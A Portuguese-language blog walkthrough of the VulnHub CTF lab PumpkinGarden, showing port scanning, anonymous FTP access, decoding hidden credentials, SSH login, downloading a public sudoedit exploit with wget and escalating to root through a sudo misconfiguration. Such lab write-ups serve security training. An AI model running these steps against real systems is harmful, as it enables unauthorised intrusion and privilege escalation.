VulnHub Mission Pumpkin v1.0 (1/3): Garden (Walkthrough)

André Henrique
9 min readJul 9, 2019

--

Vejam só pessoal! Um desafio que foge um pouco da regra tradicional.

Neste tutorial, vou apresentar um passo a passo para explorar e capturar a flag da VM Pumpkin Garden, que faz parte da série Mission Pumpkin v1.0 de máquinas virtuais criadas por Jayanth e disponíveis no VulnHub.

Este laboratório, embora possua vulnerabilidades e formas de exploração já conhecidas, não é algo que comum de encontrar em um ambiente real.

A ideia aqui é exatamente explorar seu conhecimento prévio das ferramentas de Pentest e sua capacidade de “pensar fora da caixa”.

Para download e informações técnicas desta máquina virtual, acesse o link abaixo:

Level: Beginner
VM Alvo: Mission-Pumpkin v1.0: PumpkinGarden
VM Atacante: Kali Linux 2019.1

O que sabemos?

PumpkinGarden is Level 1 of series of 3 machines under Mission-Pumpkin v1.0. The end goal of this CTF is to gain access to PumpkinGarden_key file stored in the root account.

Nossa flag está no arquivo “PumpkinGarden_key” dentro da pasta “/root”.

Reconhecimento / Enumeração de Vulnerabilidades

Não é necessário realizar o processo de “host discovery” para este alvo, pois logo ao inicializar esta VM, temos o seu endereço IP no banner de boas-vindas:

This machine is up and running at
192.168.10.190

Utilizando o Nmap, vamos realizar uma análise do alvo, a fim de enumerar as portas e serviços e, se possível, encontrar alguma vulnerabilidade:

nmap -A -T4 -p- 192.168.10.190
21/tcp   open  ftp     vsftpd 2.0.8 or later
1515/tcp open http Apache httpd 2.4.7 ((Ubuntu))
3535/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13

Há três serviços em execução: FTP (porta 21), HTTP (porta 1515) e SSH (porta 3535). As informações trazidas pelo Nmap sobre o FTP já foram bastante úteis, pois sabemos que é possível acessar inicialmente este serviço utilizando um usuário “anônimo”. Além disso, também observe que há um arquivo no diretório e ainda com permissões de leitura para qualquer um: “note.txt”.

Portanto, acesse o serviço e faça o download deste arquivo para sua leitura:

ftp 192.168.10.190
Name: anonymous
Password: anonymous
ls
get note.txt
quit
Hello Dear! 
Looking for route map to PumpkinGarden? I think jack can help you find it.

O conteúdo do arquivo “note.txt” informa que o usuário “jack” poderá nos ajudar a encontrar a rota que precisamos.

Analisando a Aplicação Web

Como visto no relatório do Nmap, há também um serviço web sendo executado na porta 1515. Desta forma, vamos acessar via browser, ou outro software, para testar este serviço.

Embora nada muito útil, a última frase apresentada, dá uma ideia de que há algo escondido na página:

But, I found the route map to PumpkinGarden somewhere under the hood.

Então, analisando o código-fonte, encontramos uma linha (16) com um comentário muito específico:

<! — searching for the route map? Pumpkin images may help you find the way ->

Em resumo, pode ser que encontre algo dentro da pasta “images”. Você pode tentar manualmente acessar e buscar pelos possíveis diretórios, ou pode apenas tentar o mesmo indicado na linha 19: “/img”.

Para não ficar na tentativa manual, executei o Dirb para tentar listar possíveis arquivos e diretórios:

dirb http://192.168.10.190:1515/ -w

As informações são as mesmas que já presumimos anteriormente. Assim, vamos acessar este diretório “/img” para tentar ler seu conteúdo.

Dentro desta pasta, há um outro diretório chamado “hidden_secret” e, em seu conteúdo, listamos apenas um arquivo “clue.txt”:

Se você possui alguma prática em CTF, deverá presumir aqui, de que trata-se de algum texto cifrado em “base32” ou “base64”, ou outro qualquer bem semelhante.

Para confirmar, basta testar a decodificação. Você pode fazer este processo utilizando algum site com este propósito, ou utilizar o próprio terminal do linux para isto:

echo c2NhcmVjcm93IDogNVFuQCR5 | base64 -d

Wow guys! Temos uma informação de usuário e senha aqui.

Usuário: scarecrow
Senha: 5Qn@$y

Explorando o alvo via SSH

Agora que temos alguma credencial para acesso, podemos tentar acessar esta VM, através do serviço de SSH que identificamos na porta 3535 após a varredura com Nmap.

ssh scarecrow@192.168.10.190 -p 3535

Ao listar o conteúdo da pasta atual, você irá notar um arquivo chamado “note.txt” que traz novas dicas:

Oops!!! I just forgot; keys to the garden are with LordPumpkin(ROOT user)! Reach out to goblin and share this "Y0n$M4sy3D1t" to secretly get keys from LordPumpkin.

Ao que tudo indica, esta dica traz mais um usuário (goblin) e uma possível senha (Y0n$M4sy3D1t):

Usuário: goblin
Senha: Y0n$M4sy3D1t

Você pode confirmar esta informação de usuários, tentando ler o conteúdo do arquivo “/etc/passwd” desta máquina:

cat /etc/passwd

Observe que realmente há o usuário “goblin” além de outros (jack, scarecrow, goblin, ftp):

Como é de costume, também podemos tentar listar os privilégios do SUDO (caso exista) e procurar por arquivos com permissão de execução SUID (super-usuário).

sudo -l

Mas, o usuário atual não tem permissão para executar o SUDO :(

Também não foi possível listar o conteúdo dos diretórios dos outros usuários.

Desta forma, podemos tentar trocar para o usuário “goblin” com as credenciais que já temos: user: goblin, password: Y0n$M4sy3D1t.

Acesso o diretório home do usuário atual (goblin), podemos ler o arquivo “note”.

O conteúdo do arquivo “note” traz um link para download de algum exploit:

https://www.securityfocus.com/data/vulnerabilities/exploits/38362.sh

Além disso, também não esqueça de verificar se temos privilégios de execução do comando SUDO:

sudo -l

Escalando privilégios (Método 1)

Você pode escalar privilégios aqui de várias formas e vou apresentar neste artigo, dois métodos. Este primeiro baseia-se na utilização do exploit que foi disponibilizado para download após a leitura do arquivo “/home/goblin/note”.

Antes de baixar este exploit, precisamos encontrar diretórios dos quais temos permissão de escrita:

find / -writable -type d 2>/dev/null

Basta escolher algum dos diretórios para realizar o download. É costume geralmente escolher as pastas “/tmp” ou a própria pasta do usuário. Então, vamos ao download e testes:

cd /tmp
wget https://www.securityfocus.com/data/vulnerabilities/exploits/38362.sh

Infelizmente :( alguns segundos após o download do arquivo, este é apagado da pasta “/tmp”. Você também pode tentar baixar o arquivo para a pasta do usuário “/home/goblin/”:

cd ~
wget https://www.securityfocus.com/data/vulnerabilities/exploits/38362.sh

Mas, infelizmente o mesmo problema ocorreu. O arquivo foi excluído (sumiu) alguns segundos depois do download. Para verificar o que está acontecendo, você pode analisar os processos em execução neste momento:

ps aux

Analisando os processos, você perceberá que há uma execução a cada 15 segundos, que exclui todos os arquivos com alguma extensão “*.*” do diretório do usuário “goblin” e qualquer arquivo do diretório “/tmp”.

A solução aqui é bem simples: ou você acessa algum outro diretório fora dessa exclusão (como o /var/tmp) ou, no diretório do usuário “goblin” retire a extensão “.sh” do arquivo logo durante o download, por exemplo com o parâmetro “-O” do “wGET”.

cd /home/goblin
wget <link-download> -O novonome

Enfim, escolha o que preferir para evitar a exclusão do arquivo e dê continuidade para as próximas etapas.

Lendo o script deste exploit, ele cria um arquivo “sudoedit” em “/tmp” (que sabemos que exclui tudo), “troca de usuário” e recebe como único argumento, algum arquivo que tenha permissão de escrita.

Você pode tentar substituir alguns parâmetros, por exemplo: “/tmp” para “/home/goblin” e executar o script utilizando o SUDO:

sed -i 's/\/tmp/\/home\/goblin/g' exploit
chmod +x exploit
sudo ./exploit /home/goblin/note

Outra forma também simples, é executar você mesmo as instruções do script. Observe as linhas do arquivo que é criado:

#!/bin/sh
su
/bin/sh
/usr/bin/su

Ao invés de tentar executar o exploit por completo, seguiremos manualmente para a criação deste arquivo “sudoedit”, com as informações do trecho separado:

Primeiro identifique as linhas do arquivo:

Em seguida podemos utilizar o comando “sed” ou editar manualmente mesmo:

sed -n '18d;17,21p' exploit > xpl
chmod a+x xpl
sudo ./xpl

E bingo!! huahuahua

Agora temos permissão de root ;)

Escalando privilégios (Método 2)

Se você já tem alguma prática em Linux, logo ao listar os privilégios do SUDO, perceberá que é possível executar muitos comandos, sem ao menos precisar trocar de usuário.

Ao ler os privilégios, é possível executar com o SUDO qualquer comando com exceção do “/bin/su”. Por exemplo, o usuário “goblin” não poderá trocar normalmente para o root utilizando o comando SUDO:

Mas não impede que ele execute o SUDO para o usuário root e chame uma shell ou qualquer outro comando:

Maravilha!! Agora estamos logados como usuário root ;)

E aqui com certeza você já deve ter percebido que tentar o exploit foi pura perda de tempo huahuahuahua ¯\_(ツ)_/¯

Lendo a Flag

Bem, independente do método escolhido agora que já estamos com um terminal root, basta ler a flag.

A dica do autor é que precisamos ler o arquivo PumpkinGarden_key que está na pasta do usuário root:

The end goal of this CTF is to gain access to PumpkinGarden_key file stored in the root account.

Então basta acessar o diretório e ler o conteúdo:

cd /root
cat PumpkinGarden_Key

O conteúdo deste arquivo, parece estar cifrado em “base32” ou “base64”. Assim, basta tentar decifrá-lo:

echo Q29uZ3JhdHVsYXRpb25zIQ== | base32 -d
echo Q29uZ3JhdHVsYXRpb25zIQ== | base64 -d
Congratulations!

Considerações finais

Percebemos com este desafio que embora os conhecimentos básicos de um processo de Pentest sejam bem importantes, além é claro de conhecer as principais ferramentas para exploração, é preciso pensar e observar bastante os detalhes.

É preciso pensar fora da caixa!

Este é um desafio de nível básico, mas dependendo dos seus conhecimentos, poderá deixá-lo preso por horas, tentando executar o expolit huahuahua.

Este artigo é o primeiro desta série de três artigos ao todo.

De qualquer forma, espero que a leitura deste tutorial lhe traga algum novo conhecimento ou reforce aqueles que você já possui. Não deixe de comentar e compartilhar entre os amigos e, caso tenha identificado algum erro, reporte por aqui mesmo através dos comentários.

Thanks guys!! (❍ᴥ❍ʋ)

--

--

André Henrique

Cybersecurity & IT Consultant, Pentester and Writer. Loves: Computer Networking, Programming and Hacking!!